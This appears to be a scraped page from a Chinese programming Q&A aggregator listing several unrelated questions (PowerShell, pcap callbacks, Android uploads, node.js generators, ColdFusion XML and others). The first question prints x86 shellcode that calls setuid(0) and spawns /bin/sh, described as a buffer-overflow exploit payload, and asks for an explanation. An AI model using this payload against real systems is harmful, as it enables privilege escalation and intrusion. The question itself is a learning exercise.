问题列表 - 第38658页

如何解释以下shellcode漏洞的行为?

这是一个利用缓冲区溢出漏洞的shellcode.它使用设置setuid(0)和生成shell execve().以下是我解释它的方式:

xor    %ebx,%ebx       ; Xoring to make ebx value 0
lea    0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int    $0x80           ; interrupt
push   %ebx            ; push ebx
push   $0x68732f6e     ; push address // why this address only????
push   $0x69622f2f     ; push address // same question
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
cltd                   ; mov execve sys call into al
mov    $0xb,%al
int    $0x80           ; interrupt
Run Code Online (Sandbox Code Playgroud)

谁能清楚地解释整个步骤?

x86 assembly exploit buffer-overflow shellcode

5
推荐指数
1
解决办法
4498
查看次数

Powershell或Batch:查找和替换字符

我有十个文本文件(制表符分隔,200K行).我的目的是寻找人物[,],| 并分别用a,o,u替换它们.有关如何使用Windows批处理脚本或Powershell执行此操作的任何提示?

powershell replace batch-file

3
推荐指数
1
解决办法
1万
查看次数

C++ to C调用:类型'void(MyClass ::)(u_char*,)'的参数与'void(*)(u_char*)'不匹配

我生锈的C++技能在失败之后失败了:

#include <pcap.h>
...
void Sniff::pcap_listen() {
 pcap_t *loc;
 char *dev;
 dev = pcap_lookupdev(errbuf);
 loc = pcap_open_live(dev,BUFSIZ,0,-1,errbuf);
 pcap_loop(loc,-1,pcap_callback,NULL);
}
Run Code Online (Sandbox Code Playgroud)

error:类型'void(Sniff ::)(u_char*,const pcap_pkthdr*,const u_char*)'的参数与'void(*)(u_char*,const pcap_pkthdr*,const u_char*)'不匹配

在.h中添加/删除"静态"定义:无效.

++另一个问题:

listener = g_thread_create(pcap_listen, NULL, FALSE, NULL);
Run Code Online (Sandbox Code Playgroud)

很多变种的::,&,这个......经过测试,最有信息的信息是:

的src/main.cpp中:281:错误:类型无效*(嗅::)(无效*)'的参数不匹配'无效*( )(无效*)'

c++

2
推荐指数
1
解决办法
2818
查看次数

如何使用http将Android中的文件从移动设备发送到服务器?

在android中,如何使用http将文件(数据)从移动设备发送到服务器.

post android http

69
推荐指数
4
解决办法
14万
查看次数

为什么microsoft不将SetPixel()的实现更改为更快的实现?

我对Bitmap类有疑问.如果要在位图上设置大量像素,则可以使用该SetPixel方法,但速度非常慢.关于如何使用LockBits方法等加快速度,有很多文档,所以我创建了一个方法:SetFastPixel加快一点.

然而,我真的很困惑:为什么微软不会将SetPixel()的实现更改为更快的实现?换句话说,使用SetPixel而不是使用LockBits方法是否有优点?

.net c# pixel bitmap

2
推荐指数
1
解决办法
905
查看次数

node.js是否支持yield?

有没有办法让生成器进入node.js?

我目前正在使用回调伪装它们,但我必须记得检查我的生成器函数内部回调的响应,这会产生很多 if (callback(arg) === false) return;

我想要像python中的东西:

for p in primes():
  if p > 100: break
  do_something(p)
Run Code Online (Sandbox Code Playgroud)

我正在节点中这样做:

primes(function(p) {
  if (p > 100) return false;
  do_something(p)
});
Run Code Online (Sandbox Code Playgroud)

也许像coffeescript这样的东西可以帮忙吗?

generator node.js

47
推荐指数
2
解决办法
2万
查看次数

用于处理Apache Wicket项目的Eclipse插件

是否有任何广泛采用的,目前维护的Eclipse插件用于Apache Wicket项目?如果是这样,他们在哪里?谁维护他们?他们在做什么?

eclipse wicket

1
推荐指数
1
解决办法
2528
查看次数

带有window.location和$(this)的setTimeout

我对此比较陌生,想知道是否有人能指出我正确的方向!我想在点击菜单链接时动画页面加载的某些方面.

$("document").ready( function() {

      $('.page_box_fade').css("display", "none")        
      .fadeIn('300');

      $(".nav_image").click( function(){

            $('.page_box_fade').fadeOut('300');                                 
            document.location = $(this).parent().attr("href");

            return false;           
      });
}); 
Run Code Online (Sandbox Code Playgroud)

这段代码似乎运行正常(ish),当我点击链接中包含的图像'.nav_image'时,它会淡化div'.page_box_fade'的内容并同时重定向到点击的'href'属性.nav_image的父链接.由于有300毫秒的淡入淡出,我希望脚本在重定向之前包含它,以使淡入淡出实际上对用户可见.

$("document").ready( function() {

    $(".nav_image").click( function(){

            $('.page_box_fade').fadeOut('300');                                 
            setTimeout( "document.location = $(this).parent().attr('href')", 500 );

            return false;           
    });
}); 
Run Code Online (Sandbox Code Playgroud)

我假设setTimeout将是答案但是$(this).parent().attr('href')在我按照我想的方式使用时是未定义的.

这是我的html结构,一个简单的链接:

<a href="?id=0">
    <img class="nav_image" src="images/home.png" alt="home" />
</a>
Run Code Online (Sandbox Code Playgroud)

任何有关这方面的帮助将非常感谢:)

jquery this settimeout window.location

3
推荐指数
1
解决办法
9793
查看次数

从ColdFusion构建XML

我正在ColdFusion中构建一些XML来将数据发送到QuickBooks.我可以使用我的数据来构建我的变量<cfoutput>.像这样:

<cfoutput query="get">

<cfset #x# =
'    
<InvoiceAddRq>
<InvoiceAdd>

    <CustomerRef>

        <ListID>XXXXX</ListID>          

    </CustomerRef>

    <ClassRef>

        <ListID>XXXXX</ListID>

    </ClassRef>

    <TxnDate>2010-11-04</TxnDate>


                <InvoiceLineAdd>

                    <ItemRef>
                        <ListID>XXXXX</ListID>
                    </ItemRef>

                    <Desc>XXXXX</Desc>
                    <Quantity>XXXXX</Quantity>
                    <Rate>XXXXX</Rate>          

                </InvoiceLineAdd>



</InvoiceAdd>

</InvoiceAddRq>
'
>
Run Code Online (Sandbox Code Playgroud)

但我需要创建XML,我遍历行项目的细节与<cfloop>内部<cfset>.这就是我想要做的:

<cfoutput query="get">

<cfset #x# =
'    
<InvoiceAddRq>
<InvoiceAdd>

    <CustomerRef>

        <ListID>XXXXX</ListID>          

    </CustomerRef>

    <ClassRef>

        <ListID>XXXXX</ListID>

    </ClassRef>

    <TxnDate>2010-11-04</TxnDate>

        <cfquery name="getDetails">

        </cfquery>

            <cfloop query="getDetails">

            <InvoiceLineAdd>

                <ItemRef>
                    <ListID>XXXXX</ListID>
                </ItemRef>

                <Desc>XXXXX</Desc>
                <Quantity>XXXXX</Quantity>
                <Rate>XXXXX</Rate>          

            </InvoiceLineAdd>

        </cfloop>           

</InvoiceAdd>

</InvoiceAddRq>
'
>
Run Code Online (Sandbox Code Playgroud)

这显然无法正常工作,因为它正在查看XML的属性和属性.我试图弄清楚如何编写一些XML然后执行我的查询和循环以获取行项目详细信息然后返回到XML.我很难知道如何做到这一点.我希望这是有道理的,任何帮助将不胜感激.

xml coldfusion

3
推荐指数
1
解决办法
1019
查看次数

使C#程序能够在任何操作系统上编译

我已经开始在c#2008上的XP 32位Windows操作系统上制作C#程序,现在我试图在Windows 7 64位操作系统中打开它.出现的问题是我无法在64位系统上运行c#2010中的程序,它不会超过Initialize Component(); 我的代码中的行.它出现了一个错误,"BadImageFormatException未处理",我认为这是因为我打开它的系统更改.对此有任何帮助我们都很棒.

谢谢

c# operating-system initializecomponent badimageformatexception

4
推荐指数
1
解决办法
450
查看次数